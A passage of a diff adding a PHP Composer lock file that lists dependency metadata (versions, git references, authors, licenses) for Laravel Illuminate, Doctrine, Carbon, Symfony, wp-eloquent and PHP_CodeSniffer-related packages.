"https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Collections Abstraction library", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "array", + "collections", + "iterator" + ], + "support": { + "issues": "https://github.com/doctrine/collections/issues", + "source": "https://github.com/doctrine/collections/tree/master" + }, + "time": "2017-01-03T10:49:41+00:00" + }, + { + "name": "doctrine/inflector", + "version": "v1.1.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/inflector.git", + "reference": "90b2128806bfde671b6952ab8bea493942c1fdae" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/inflector/zipball/90b2128806bfde671b6952ab8bea493942c1fdae", + "reference": "90b2128806bfde671b6952ab8bea493942c1fdae", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "4.*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "autoload": { + "psr-0": { + "Doctrine\\Common\\Inflector\\": "lib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Common String Manipulations with regard to casing and singular/plural rules.", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "inflection", + "pluralize", + "singularize", + "string" + ], + "support": { + "source": "https://github.com/doctrine/inflector/tree/master" + }, + "time": "2015-11-06T14:35:42+00:00" + }, + { + "name": "illuminate/container", + "version": "v5.4.36", + "source": { + "type": "git", + "url": "https://github.com/illuminate/container.git", + "reference": "c5b8a02a34a52c307f16922334c355c5eef725a6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/container/zipball/c5b8a02a34a52c307f16922334c355c5eef725a6", + "reference": "c5b8a02a34a52c307f16922334c355c5eef725a6", + "shasum": "" + }, + "require": { + "illuminate/contracts": "5.4.*", + "php": ">=5.6.4" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.4-dev" + } + }, + "autoload": { + "psr-4": { + "Illuminate\\Container\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Container package.", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "time": "2017-05-24T14:15:53+00:00" + }, + { + "name": "illuminate/contracts", + "version": "v5.4.36", + "source": { + "type": "git", + "url": "https://github.com/illuminate/contracts.git", + "reference": "67f642e018f3e95fb0b2ebffc206c3200391b1ab" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/contracts/zipball/67f642e018f3e95fb0b2ebffc206c3200391b1ab", + "reference": "67f642e018f3e95fb0b2ebffc206c3200391b1ab", + "shasum": "" + }, + "require": { + "php": ">=5.6.4" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.4-dev" + } + }, + "autoload": { + "psr-4": { + "Illuminate\\Contracts\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Contracts package.", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "time": "2017-08-26T23:56:53+00:00" + }, + { + "name": "illuminate/database", + "version": "v5.4.36", + "source": { + "type": "git", + "url": "https://github.com/illuminate/database.git", + "reference": "405aa061a5bc8588cbf3a78fba383541a568e3fe" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/database/zipball/405aa061a5bc8588cbf3a78fba383541a568e3fe", + "reference": "405aa061a5bc8588cbf3a78fba383541a568e3fe", + "shasum": "" + }, + "require": { + "illuminate/container": "5.4.*", + "illuminate/contracts": "5.4.*", + "illuminate/support": "5.4.*", + "nesbot/carbon": "~1.20", + "php": ">=5.6.4" + }, + "suggest": { + "doctrine/dbal": "Required to rename columns and drop SQLite columns (~2.5).", + "fzaninotto/faker": "Required to use the eloquent factory builder (~1.4).", + "illuminate/console": "Required to use the database commands (5.4.*).", + "illuminate/events": "Required to use the observers with Eloquent (5.4.*).", + "illuminate/filesystem": "Required to use the migrations (5.4.*).", + "illuminate/pagination": "Required to paginate the result set (5.4.*)." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.4-dev" + } + }, + "autoload": { + "psr-4": { + "Illuminate\\Database\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Database package.", + "homepage": "https://laravel.com", + "keywords": [ + "database", + "laravel", + "orm", + "sql" + ], + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "time": "2017-08-24T12:07:53+00:00" + }, + { + "name": "illuminate/pagination", + "version": "v5.4.36", + "source": { + "type": "git", + "url": "https://github.com/illuminate/pagination.git", + "reference": "ae1540acf02c8b642666d6901c18d2deb5606b47" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/pagination/zipball/ae1540acf02c8b642666d6901c18d2deb5606b47", + "reference": "ae1540acf02c8b642666d6901c18d2deb5606b47", + "shasum": "" + }, + "require": { + "illuminate/contracts": "5.4.*", + "illuminate/support": "5.4.*", + "php": ">=5.6.4" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.4-dev" + } + }, + "autoload": { + "psr-4": { + "Illuminate\\Pagination\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Pagination package.", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "time": "2017-07-24T13:37:02+00:00" + }, + { + "name": "illuminate/support", + "version": "v5.4.36", + "source": { + "type": "git", + "url": "https://github.com/illuminate/support.git", + "reference": "feab1d1495fd6d38970bd6c83586ba2ace8f299a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/support/zipball/feab1d1495fd6d38970bd6c83586ba2ace8f299a", + "reference": "feab1d1495fd6d38970bd6c83586ba2ace8f299a", + "shasum": "" + }, + "require": { + "doctrine/inflector": "~1.1", + "ext-mbstring": "*", + "illuminate/contracts": "5.4.*", + "paragonie/random_compat": "~1.4|~2.0", + "php": ">=5.6.4" + }, + "replace": { + "tightenco/collect": "self.version" + }, + "suggest": { + "illuminate/filesystem": "Required to use the composer class (5.2.*).", + "symfony/process": "Required to use the composer class (~3.2).", + "symfony/var-dumper": "Required to use the dd function (~3.2)." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.4-dev" + } + }, + "autoload": { + "psr-4": { + "Illuminate\\Support\\": "" + }, + "files": [ + "helpers.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Support package.", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "time": "2017-08-15T13:25:41+00:00" + }, + { + "name": "kylekatarnls/update-helper", + "version": "1.2.1", + "source": { + "type": "git", + "url": "https://github.com/kylekatarnls/update-helper.git", + "reference": "429be50660ed8a196e0798e5939760f168ec8ce9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/kylekatarnls/update-helper/zipball/429be50660ed8a196e0798e5939760f168ec8ce9", + "reference": "429be50660ed8a196e0798e5939760f168ec8ce9", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^1.1.0 || ^2.0.0", + "php": ">=5.3.0" + }, + "require-dev": { + "codeclimate/php-test-reporter": "dev-master", + "composer/composer": "2.0.x-dev || ^2.0.0-dev", + "phpunit/phpunit": ">=4.8.35 <6.0" + }, + "type": "composer-plugin", + "extra": { + "class": "UpdateHelper\\ComposerPlugin" + }, + "autoload": { + "psr-0": { + "UpdateHelper\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Kyle", + "email": "kylekatarnls@gmail.com" + } + ], + "description": "Update helper", + "support": { + "issues": "https://github.com/kylekatarnls/update-helper/issues", + "source": "https://github.com/kylekatarnls/update-helper/tree/1.2.1" + }, + "funding": [ + { + "url": "https://github.com/kylekatarnls", + "type": "github" + }, + { + "url": "https://opencollective.com/Carbon", + "type": "open_collective" + }, + { + "url": "https://tidelift.com/funding/github/packagist/nesbot/carbon", + "type": "tidelift" + } + ], + "time": "2020-04-07T20:44:10+00:00" + }, + { + "name": "league/fractal", + "version": "0.17.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/fractal.git", + "reference": "a0b350824f22fc2fdde2500ce9d6851a3f275b0e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/fractal/zipball/a0b350824f22fc2fdde2500ce9d6851a3f275b0e", + "reference": "a0b350824f22fc2fdde2500ce9d6851a3f275b0e", + "shasum": "" + }, + "require": { + "php": ">=5.4" + }, + "require-dev": { + "doctrine/orm": "^2.5", + "illuminate/contracts": "~5.0", + "mockery/mockery": "~0.9", + "pagerfanta/pagerfanta": "~1.0.0", + "phpunit/phpunit": "~4.0", + "squizlabs/php_codesniffer": "~1.5", + "zendframework/zend-paginator": "~2.3" + }, + "suggest": { + "illuminate/pagination": "The Illuminate Pagination component.", + "pagerfanta/pagerfanta": "Pagerfanta Paginator", + "zendframework/zend-paginator": "Zend Framework Paginator" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "0.13-dev" + } + }, + "autoload": { + "psr-4": { + "League\\Fractal\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Phil Sturgeon", + "email": "me@philsturgeon.uk", + "homepage": "http://philsturgeon.uk/", + "role": "Developer" + } + ], + "description": "Handle the output of complex data structures ready for API output.", + "homepage": "http://fractal.thephpleague.com/", + "keywords": [ + "api", + "json", + "league", + "rest" + ], + "support": { + "issues": "https://github.com/thephpleague/fractal/issues", + "source": "https://github.com/thephpleague/fractal/tree/master" + }, + "time": "2017-06-12T11:04:56+00:00" + }, + { + "name": "nesbot/carbon", + "version": "1.39.1", + "source": { + "type": "git", + "url": "https://github.com/briannesbitt/Carbon.git", + "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/briannesbitt/Carbon/zipball/4be0c005164249208ce1b5ca633cd57bdd42ff33", + "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33", + "shasum": "" + }, + "require": { + "kylekatarnls/update-helper": "^1.1", + "php": ">=5.3.9", + "symfony/translation": "~2.6 || ~3.0 || ~4.0" + }, + "require-dev": { + "composer/composer": "^1.2", + "friendsofphp/php-cs-fixer": "~2", + "phpunit/phpunit": "^4.8.35 || ^5.7" + }, + "bin": [ + "bin/upgrade-carbon" + ], + "type": "library", + "extra": { + "update-helper": "Carbon\\Upgrade", + "laravel": { + "providers": [ + "Carbon\\Laravel\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Brian Nesbitt", + "email": "brian@nesbot.com", + "homepage": "http://nesbot.com" + } + ], + "description": "A simple API extension for DateTime.", + "homepage": "http://carbon.nesbot.com", + "keywords": [ + "date", + "datetime", + "time" + ], + "support": { + "issues": "https://github.com/briannesbitt/Carbon/issues", + "source": "https://github.com/briannesbitt/Carbon" + }, + "time": "2019-10-14T05:51:36+00:00" + }, + { + "name": "paragonie/random_compat", + "version": "v2.0.19", + "source": { + "type": "git", + "url": "https://github.com/paragonie/random_compat.git", + "reference": "446fc9faa5c2a9ddf65eb7121c0af7e857295241" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paragonie/random_compat/zipball/446fc9faa5c2a9ddf65eb7121c0af7e857295241", + "reference": "446fc9faa5c2a9ddf65eb7121c0af7e857295241", + "shasum": "" + }, + "require": { + "php": ">=5.2.0" + }, + "require-dev": { + "phpunit/phpunit": "4.*|5.*" + }, + "suggest": { + "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes." + }, + "type": "library", + "autoload": { + "files": [ + "lib/random.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paragon Initiative Enterprises", + "email": "security@paragonie.com", + "homepage": "https://paragonie.com" + } + ], + "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7", + "keywords": [ + "csprng", + "polyfill", + "pseudorandom", + "random" + ], + "support": { + "email": "info@paragonie.com", + "issues": "https://github.com/paragonie/random_compat/issues", + "source": "https://github.com/paragonie/random_compat" + }, + "time": "2020-10-15T10:06:57+00:00" + }, + { + "name": "simshaun/recurr", + "version": "v4.0.2", + "source": { + "type": "git", + "url": "https://github.com/simshaun/recurr.git", + "reference": "d6f85ec8652366f45f6d1ba07292c9653939631a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/simshaun/recurr/zipball/d6f85ec8652366f45f6d1ba07292c9653939631a", + "reference": "d6f85ec8652366f45f6d1ba07292c9653939631a", + "shasum": "" + }, + "require": { + "doctrine/collections": "~1.3", + "php": ">=5.5.0" + }, + "require-dev": { + "phpunit/phpunit": "~4.5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Recurr\\": "src/Recurr/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Shaun Simmons", + "email": "shaun@shaun.pub", + "homepage": "https://shaun.pub" + } + ], + "description": "PHP library for working with recurrence rules", + "homepage": "https://github.com/simshaun/recurr", + "keywords": [ + "dates", + "events", + "recurrence", + "recurring", + "rrule" + ], + "support": { + "issues": "https://github.com/simshaun/recurr/issues", + "source": "https://github.com/simshaun/recurr/tree/v4.0.2" + }, + "time": "2019-11-18T17:48:08+00:00" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.19.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/b5f7b932ee6fa802fc792eabd77c4c88084517ce", + "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.19-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + }, + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.19.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-23T09:01:57+00:00" + }, + { + "name": "symfony/translation", + "version": "v3.4.47", + "source": { + "type": "git", + "url": "https://github.com/symfony/translation.git", + "reference": "be83ee6c065cb32becdb306ba61160d598b1ce88" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/translation/zipball/be83ee6c065cb32becdb306ba61160d598b1ce88", + "reference": "be83ee6c065cb32becdb306ba61160d598b1ce88", + "shasum": "" + }, + "require": { + "php": "^5.5.9|>=7.0.8", + "symfony/polyfill-mbstring": "~1.0" + }, + "conflict": { + "symfony/config": "<2.8", + "symfony/dependency-injection": "<3.4", + "symfony/yaml": "<3.4" + }, + "require-dev": { + "psr/log": "~1.0", + "symfony/config": "~2.8|~3.0|~4.0", + "symfony/dependency-injection": "~3.4|~4.0", + "symfony/finder": "~2.8|~3.0|~4.0", + "symfony/http-kernel": "~3.4|~4.0", + "symfony/intl": "^2.8.18|^3.2.5|~4.0", + "symfony/var-dumper": "~3.4|~4.0", + "symfony/yaml": "~3.4|~4.0" + }, + "suggest": { + "psr/log-implementation": "To use logging capability in translator", + "symfony/config": "", + "symfony/yaml": "" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Translation\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Translation Component", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/translation/tree/v3.4.47" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-10-24T10:57:07+00:00" + }, + { + "name": "tareq1988/wp-eloquent", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://github.com/tareq1988/wp-eloquent.git", + "reference": "d34de7583161bccbf867c4713effe3325ae7fad9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/tareq1988/wp-eloquent/zipball/d34de7583161bccbf867c4713effe3325ae7fad9", + "reference": "d34de7583161bccbf867c4713effe3325ae7fad9", + "shasum": "" + }, + "require": { + "illuminate/database": "^5.4", + "illuminate/pagination": "^5.4" + }, + "default-branch": true, + "type": "library", + "autoload": { + "psr-4": { + "WeDevs\\ORM\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "GPL-2.0-or-later" + ], + "authors": [ + { + "name": "Tareq Hasan", + "email": "tareq@wedevs.com" + } + ], + "description": "Eloquent ORM for WordPress", + "homepage": "https://github.com/tareq1988/wp-eloquent", + "keywords": [ + "eloquent", + "orm", + "plugin", + "sql", + "wordpress" + ], + "support": { + "issues": "https://github.com/tareq1988/wp-eloquent/issues", + "source": "https://github.com/tareq1988/wp-eloquent/tree/master" + }, + "time": "2020-04-02T06:40:53+00:00" + } + ], + "packages-dev": [ + { + "name": "dealerdirect/phpcodesniffer-composer-installer", + "version": "v0.7.1", + "source": { + "type": "git", + "url": "https://github.com/Dealerdirect/phpcodesniffer-composer-installer.git", + "reference": "fe390591e0241955f22eb9ba327d137e501c771c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Dealerdirect/phpcodesniffer-composer-installer/zipball/fe390591e0241955f22eb9ba327d137e501c771c", + "reference": "fe390591e0241955f22eb9ba327d137e501c771c", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^1.0 || ^2.0", + "php": ">=5.3", + "squizlabs/php_codesniffer": "^2.0 || ^3.0 || ^4.0" + }, + "require-dev": { + "composer/composer": "*", + "phpcompatibility/php-compatibility": "^9.0", + "sensiolabs/security-checker": "^4.1.0" + }, + "type": "composer-plugin", + "extra": { + "class": "Dealerdirect\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\Plugin" + }, + "autoload": { + "psr-4": { + "Dealerdirect\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Franck Nijhof", + "email": "franck.nijhof@dealerdirect.com", + "homepage": "http://www.frenck.nl", + "role": "Developer / IT Manager" + } + ], + "description": "PHP_CodeSniffer Standards Composer Installer Plugin", + "homepage": "http://www.dealerdirect.com", + "keywords": [ + "PHPCodeSniffer", + "PHP_CodeSniffer", + "code quality", + "codesniffer", + "composer", + "installer", + "phpcs", + "plugin", + "qa", + "quality", + "standard", + "standards", + "style guide", + "stylecheck", + "tests" + ], + "support": { + "issues": "https://github.com/dealerdirect/phpcodesniffer-composer-installer/issues", + "source": "https://github.com/dealerdirect/phpcodesniffer-composer-installer" + }, + "time": "2020-12-07T18:04:37+00:00" + }, + { + "name": "fzaninotto/faker", + "version": "v1.9.1", + "source": { + "type": "git", + "url": "https://github.com/fzaninotto/Faker.git", + "reference": "fc10d778e4b84d5bd315dad194661e091d307c6f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/fzaninotto/Faker/zipball/fc10d778e4b84d5bd315dad194661e091d307c6f", + "reference": "fc10d778e4b84d5bd315dad194661e091d307c6f", + "shasum": "" + }, + "require": { + "php": "^5.3.3 || ^7.0" + }, + "require-dev": { + "ext-intl": "*", + "phpunit/phpunit": "^4.8.35 || ^5.7", + "squizlabs/php_codesniffer": "^2.9.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.9-dev" + } + }, + "autoload": { + "psr-4": { + "Faker\\": "src/Faker/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "François Zaninotto" + } + ], + "description": "Faker is a PHP library that generates fake data for you.", + "keywords": [ + "data", + "faker", + "fixtures" + ], + "support": { + "issues": "https://github.com/fzaninotto/Faker/issues", + "source": "https://github.com/fzaninotto/Faker/tree/v1.9.1" + }, + "abandoned": true, + "time": "2019-12-12T13:22:17+00:00" + }, + { + "name": "phpcompatibility/php-compatibility", + "version": "9.3.5", + "source": { + "type": "git", + "url": "https://github.com/PHPCompatibility/PHPCompatibility.git", + "reference": "9fb324479acf6f39452e0655d2429cc0d3914243" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibility/zipball/9fb324479acf6f39452e0655d2429cc0d3914243", + "reference": "9fb324479acf6f39452e0655d2429cc0d3914243", + "shasum": "" + }, + "require": { + "php": ">=5.3", + "squizlabs/php_codesniffer": "^2.3 || ^3.0.2" + }, + "conflict": { + "squizlabs/php_codesniffer": "2.6.2" + }, + "require-dev": { + "phpunit/phpunit": "~4.5 || ^5.0 || ^6.0 || ^7.0" + }, + "suggest": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHPCS 'installed_paths' automatically.", + "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues." + }, + "type": "phpcodesniffer-standard", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-3.0-or-later" + ], + "authors": [ + { + "name": "Wim Godden", + "homepage": "https://github.com/wimg", + "role": "lead" + }, + { + "name": "Juliette Reinders Folmer", + "homepage": "https://github.com/jrfnl", + "role": "lead" + }, + { + "name": "Contributors", + "homepage": "https://github.com/PHPCompatibility/PHPCompatibility/graphs/contributors" + } + ], + "description": "A set of sniffs for PHP_CodeSniffer that checks for PHP cross-version compatibility.", + "homepage": "http://techblog.wimgodden.be/tag/codesniffer/", + "keywords": [ + "compatibility", + "phpcs", + "standards" + ], + "support": { + "issues": "https://github.com/PHPCompatibility/PHPCompatibility/issues", + "source": "https://github.com/PHPCompatibility/PHPCompatibility" + }, + "time": "2019-12-27T09:44:58+00:00" + }, + { + "name": "phpcompatibility/phpcompatibility-paragonie", + "version": "1.3.0", + "source": { + "type": "git", + "url": "https://github.com/PHPCompatibility/PHPCompatibilityParagonie.git", + "reference": "b862bc32f7e860d0b164b199bd995e690b4b191c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibilityParagonie/zipball/b862bc32f7e860d0b164b199bd995e690b4b191c", + "reference": "b862bc32f7e860d0b164b199bd995e690b4b191c", + "shasum": "" + }, + "require": { + "phpcompatibility/php-compatibility": "^9.0" + }, + "require-dev": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.5", + "paragonie/random_compat": "dev-master", + "paragonie/sodium_compat": "dev-master" + }, + "suggest": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHP_CodeSniffer 'installed_paths' automatically.", + "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues." + }, + "type": "phpcodesniffer-standard", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-3.0-or-later" + ], + "authors": [ + { + "name": "Wim Godden", + "role": "lead" + }, + { + "name": "Juliette Reinders Folmer", + "role": "lead" + } + ], + "description": "A set of rulesets for PHP_CodeSniffer to check for PHP cross-version compatibility issues in projects, while accounting for polyfills provided by the Paragonie polyfill libraries.", + "homepage": "http://phpcompatibility.com/", + "keywords": [ + "compatibility", + "paragonie", + "phpcs", + "polyfill", + "standards" + ], + "support": { + "issues": "https://github.com/PHPCompatibility/PHPCompatibilityParagonie/issues", + "source": "https://github.com/PHPCompatibility/PHPCompatibilityParagonie" + }, + "time": "2019-11-04T15:17:54+00:00" + }, + { + "name": "phpcompatibility/phpcompatibility-wp", + "version": "2.1.0", + "source": { + "type": "git", + "url": "https://github.com/PHPCompatibility/PHPCompatibilityWP.git", + "reference": "41bef18ba688af638b7310666db28e1ea9158b2f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibilityWP/zipball/41bef18ba688af638b7310666db28e1ea9158b2f", + "reference": "41bef18ba688af638b7310666db28e1ea9158b2f", + "shasum": "" + }, + "require": { + "phpcompatibility/php-compatibility": "^9.0", + "phpcompatibility/phpcompatibility-paragonie": "^1.0" + }, + "require-dev": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.5" + }, + "suggest": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHP_CodeSniffer 'installed_paths' automatically.", + "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues." + }, + "type": "phpcodesniffer-standard", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-3.0-or-later" + ], + "authors": [ + { + "name": "Wim Godden", + "role": "lead" + }, + { + "name": "Juliette Reinders Folmer", + "role": "lead" + } + ], + "description": "A ruleset for PHP_CodeSniffer to check for PHP cross-version compatibility issues in projects, while accounting for polyfills provided by WordPress.", + "homepage": "http://phpcompatibility.com/", + "keywords": [ + "compatibility", + "phpcs", + "standards", + "wordpress" + ], + "support": { + "issues": "https://github.com/PHPCompatibility/PHPCompatibilityWP/issues", + "source": "https://github.com/PHPCompatibility/PHPCompatibilityWP" + }, + "time": "2019-08-28T14:22:28+00:00" + }, + { + "name": "squizlabs/php_codesniffer", + "version": "3.5.8", + "source": { + "type": "git", + "url": "https://github.com/squizlabs/PHP_CodeSniffer.git", + "reference": "9d583721a7157ee997f235f327de038e7ea6dac4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/squizlabs/PHP_CodeSniffer/zipball/9d583721a7157ee997f235f327de038e7ea6dac4", + "reference": "9d583721a7157ee997f235f327de038e7ea6dac4", + "shasum": "" + }, + "require": { + "ext-simplexml": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": ">=5.4.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0" + }, + "bin": [ + "bin/phpcs", + "bin/phpcbf" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Greg Sherwood", + "role": "lead" + } + ], + "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", + "homepage": "https://github.com/squizlabs/PHP_CodeSniffer", + "keywords": [ + "phpcs", + "standards" + ], + "support": { + "issues": "https://github.com/squizlabs/PHP_CodeSniffer/issues", + "source": "https://github.com/squizlabs/PHP_CodeSniffer", + "wiki": "https://github.com/squizlabs/PHP_CodeSniffer/wiki" + }, + "time": "2020-10-23T02:01:07+00:00" + }, + { + "name": "wp-coding-standards/wpcs", + "version": "2.3.0", + "source": { + "type": "git", + "url": "https://github.com/WordPress/WordPress-Coding-Standards.git", + "reference": "7da1894633f168fe244afc6de00d141f27517b62" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/WordPress/WordPress-Coding-Standards/zipball/7da1894633f168fe244afc6de00d141f27517b62", + "reference": "7da1894633f168fe244afc6de00d141f27517b62", + "shasum": "" + }, + "require": { + "php": ">=5.4", + "squizlabs/php_codesniffer": "^3.3.1" + }, + "require-dev": { + 